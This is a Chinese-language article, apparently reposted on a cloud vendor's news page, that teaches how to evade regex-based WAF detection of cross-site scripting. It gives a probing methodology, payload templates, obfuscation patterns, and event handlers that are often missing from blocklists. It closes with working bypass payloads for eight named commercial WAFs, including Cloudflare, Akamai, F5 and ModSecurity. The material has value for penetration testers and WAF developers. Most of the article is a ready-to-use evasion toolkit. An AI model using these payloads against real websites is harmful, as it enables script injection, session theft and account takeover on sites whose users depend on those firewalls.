您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關(guān)如何繞過(guò)WAF的XSS檢測(cè)機(jī)制,小編覺(jué)得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說(shuō),跟著小編一起來(lái)看看吧。
本文提出了一種繞過(guò)XSS安全機(jī)制的新型方法,這種技術(shù)由三個(gè)階段組成:確定Payload結(jié)構(gòu)、探測(cè)和混淆處理。首先,我們需要針對(duì)給定的上下文環(huán)境,確定各種不同的Payload結(jié)構(gòu)以達(dá)到最優(yōu)的測(cè)試效果。接下來(lái)就是探測(cè),這里涉及到根據(jù)目標(biāo)所實(shí)現(xiàn)的安全機(jī)制來(lái)進(jìn)行各種字符串測(cè)試,并分析目標(biāo)的響應(yīng)數(shù)據(jù)以便基于分析結(jié)果來(lái)做出安全假設(shè)。最后,根據(jù)分析結(jié)果來(lái)判斷是否要對(duì)Payload進(jìn)行混淆處理或結(jié)構(gòu)調(diào)整。
XSS是Web應(yīng)用程序中常見(jiàn)的漏洞之一,網(wǎng)站管理員可以通過(guò)用戶輸入過(guò)濾、根據(jù)上下文轉(zhuǎn)換輸出數(shù)據(jù)、正確使用DOM、強(qiáng)制執(zhí)行跨源資源共享(CORS)策略以及其他的安全策略來(lái)規(guī)避XSS漏洞。盡管現(xiàn)在有很多預(yù)防XSS攻擊的技術(shù),但Web應(yīng)用程序防火墻(WAF)或自定義數(shù)據(jù)過(guò)濾器是目前使用比較廣泛的安全保護(hù)技術(shù)了,很多廠商都會(huì)利用這些技術(shù)來(lái)抵御新型的XSS攻擊向量。雖然WAF廠商仍在嘗試引入機(jī)器學(xué)習(xí)技術(shù),但基于正則表達(dá)式的字符串檢測(cè)方法仍是目前最廣泛使用的技術(shù)。
下面提出了一種構(gòu)造XSS Payload的新型方法,這種方法構(gòu)造出來(lái)的XSS Payload可以繞過(guò)基于正則表達(dá)式匹配的安全機(jī)制。
當(dāng)用戶的輸入數(shù)據(jù)映射在Web頁(yè)面的HTML代碼中時(shí),這種場(chǎng)景就是我們所謂的HTML上下文。HTML上下文可以根據(jù)用戶輸入在代碼中的映射位置來(lái)進(jìn)一步劃分成:
1、 標(biāo)簽內(nèi):<inputtype="text" value="$input">
2、 標(biāo)簽外:<span>Youentered $input</span>
在這種上下文場(chǎng)景中,主要字符“<”代表HTML標(biāo)簽的起始。根據(jù)HTML定義,標(biāo)簽名必須以字母作為開(kāi)頭,因此我們可以利用下面的規(guī)則來(lái)判斷用來(lái)匹配標(biāo)簽名的正則表達(dá)式:
1、<svg – 如果通過(guò),表明沒(méi)有進(jìn)行任何標(biāo)簽檢測(cè);
2、<dev – 如果無(wú)法通過(guò),則為<[a-z]+;
3、x<dev – 如果通過(guò),則為^<[a-z]+;
4、<dEv - 如果無(wú)法通過(guò),則為<[a-zA-Z]+;
5、<d3V - 如果無(wú)法通過(guò),則為<[a-zA-Z0-9]+;
6、<d|3v - 如果無(wú)法通過(guò),則為<.+;
如果上述方式均無(wú)法探測(cè)成功,則說(shuō)明目標(biāo)站點(diǎn)部署的安全機(jī)制無(wú)法被繞過(guò)。這種方式的假陽(yáng)性率非常高,因此不鼓勵(lì)使用。如果上述探測(cè)方式有一個(gè)可行,那么可用來(lái)構(gòu)造Payload的機(jī)制就非常多了。
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
找到{tag}的合適值之后,就需要猜測(cè)用于匹配標(biāo)簽和事件處理器間數(shù)據(jù)過(guò)濾器的正則表達(dá)式了。這一步可以使用下面的探測(cè)機(jī)制來(lái)實(shí)現(xiàn):
1、<tag xxx - 如果無(wú)法通過(guò),則為{space};
2、<tag%09xxx - 如果無(wú)法通過(guò),則為[\s];
3、<tag%09%09xxx - 如果無(wú)法通過(guò),則為\s+;
4、<tag/xxx - 如果無(wú)法通過(guò),則為[\s/]+;
5、<tag%0axxx- 如果無(wú)法通過(guò),則為[\s\n]+;
6、<tag%0dxxx>- 如果無(wú)法通過(guò),則為[\s\n\r+]+;
7、<tag/~/xxx - 如果無(wú)法通過(guò),則為.*+;
這個(gè)組件(例如事件處理器)是Payload結(jié)構(gòu)中最關(guān)鍵的部分。通常,匹配它的是常規(guī)正則表達(dá)式(例如“on\w+”)或黑名單(例如“on(load|click|error|show)”)。第一個(gè)正則表達(dá)式非常嚴(yán)格,很難繞過(guò),而基于黑名單的模式可以通過(guò)不常用的事件處理器來(lái)繞過(guò)。安全機(jī)制的實(shí)現(xiàn)類型可以通過(guò)下面兩種簡(jiǎn)單的方法來(lái)識(shí)別:
1、<tag{filler}onxxx - 如果無(wú)法通過(guò),則為on\w+。如果通過(guò),則為on(load|click|error|show);
2、<tag{filler}onclick- 如果通過(guò),則表明沒(méi)有事件處理器檢測(cè)正則表達(dá)式;
下面是一些防火墻黑名單中沒(méi)標(biāo)記的事件處理器:
onauxclick ondblclick oncontextmenu onmouseleave ontouchcancel
常用的Payload結(jié)束符如下:
<payload> <payload <payload{space} <payload// <payload%0a <payload%0d <payload%09
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
使用了<object>標(biāo)簽的Payload可以利用下面的Payload機(jī)制來(lái)構(gòu)建:
<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
這種Payload機(jī)制有兩種形式:明文或混淆處理。
明文結(jié)構(gòu)如下:
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
混淆處理后的Payload結(jié)構(gòu)如下:
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}
{quote}{delimiter}{javascript}{delimiter}{quote}
可用的Payload有:
'^{javascript}^' '*{javascript}*' '+{javascript}+' '/{javascript}/' '%{javascript}%' '|{javascript}|' '<{javascript}<' '>{javascript}>'
{quote}{delimiter}{javascript}//
可以使用下列Payload機(jī)制來(lái)構(gòu)建Payload:
'<{javascript}//' '|{javascript}//' '^{javascript}//'
在研究過(guò)程中,總共繞過(guò)了八款WAF。下面的列表包含了可繞過(guò)的WAF、Paylaod以及相關(guān)的繞過(guò)技術(shù):
WAF名稱:Cloudflare
Payload:<a"/onclick=(confirm)()>click
繞過(guò)技術(shù):非空格填充
WAF名稱:Wordfence
Payload:<a/href=javascript&colon;alert()>click
繞過(guò)技術(shù):數(shù)字字符編碼
WAF名稱:Barracuda
Payload:<a/href=&#74;ava%0a%0d%09script&colon;alert()>click
繞過(guò)技術(shù):數(shù)字字符編碼
WAF名稱:Akamai
Payload:<d3v/onauxclick=[2].some(confirm)>click
繞過(guò)技術(shù):黑名單中缺少事件處理器以及函數(shù)調(diào)用混淆
WAF名稱:Comodo
Payload:<d3v/onauxclick=(((confirm)))``>click
繞過(guò)技術(shù):黑名單中缺少事件處理器以及函數(shù)調(diào)用混淆
WAF名稱:F5
Payload:<d3v/onmouseleave=[2].some(confirm)>click
繞過(guò)技術(shù):黑名單中缺少事件處理器以及函數(shù)調(diào)用混淆
WAF名稱:ModSecurity
Payload:<details/open/ontoggle=alert()>
繞過(guò)技術(shù):黑名單中缺少標(biāo)簽或事件處理器
WAF名稱:dotdefender
Payload:<details/open/ontoggle=(confirm)()//
繞過(guò)技術(shù):黑名單中缺少結(jié)束標(biāo)簽、事件處理器和函數(shù)調(diào)用混淆
以上就是如何繞過(guò)WAF的XSS檢測(cè)機(jī)制,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見(jiàn)到或用到的。希望你能通過(guò)這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。